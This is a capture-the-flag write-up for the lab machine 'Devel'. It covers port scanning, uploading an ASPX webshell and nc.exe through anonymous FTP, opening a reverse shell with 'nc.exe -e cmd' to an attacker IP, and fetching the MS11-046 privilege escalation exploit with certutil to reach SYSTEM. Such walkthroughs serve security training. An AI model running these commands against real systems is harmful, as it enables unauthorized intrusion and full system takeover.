Devel

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.5 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, ports 21 (FTP) and 80 (HTTP) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p21,80 10.10.10.5 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website, we won't see much.

We can see, by inspecting the website, that the image name is welcome.png.

Now, let's inspect the FTP server, and try to log in as the anonymous user.

ftp 10.10.10.5

If we list the current directory, we'll see the welcome.png image we saw before.

ftp> ls

Exploitation

As the directory where the web page is located is the same as that of the FTP server, we could try to upload a webshell, so we could run commands. I will be using the /usr/share/davtest/backdoors/aspx_cmd.aspx webshell.

ftp> put aspx_cmd.aspx

Let's also upload nc.exe to get a reverse shell, but activating the binary mode.

ftp> binary

ftp> put nc.exe

If we access http://10.10.10.5/aspx_cmd.aspx we could execute commands.

Time to get a shell. Let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

To get a shell as the iis apppool\web user, we'll have to execute the nc.exe binary we uploaded via FTP. It is located in the default IIS web server directory at C:\inetpub\wwwroot.

C:\inetpub\wwwroot\nc.exe -e cmd 10.10.14.5 4444

I made a python script to automate this whole process.

Privilege Escalation

Let's list system information.

systeminfo

At this point, I searched on the internet for exploits associated with 6.1.7600 N/A Build 7600, and found this exploit with the MS11-046 identifier. I searched for GitHub repositories associated with MS11-046 and found the ms11-046.exe binary. Let's transfer it to the victim machine.

python -m http.server

On the victim machine.

cd \windows\temp

certutil.exe -f -urlcache -split http://10.10.14.5:8000/ms11-046.exe ms11-046.exe

If we execute the binary, we'll basically get a shell as the nt authority\system user. Then, all we have to do is reap the harvest and take both the user flag, and the root flag.

ms11-046.exe

Last updated

Was this helpful?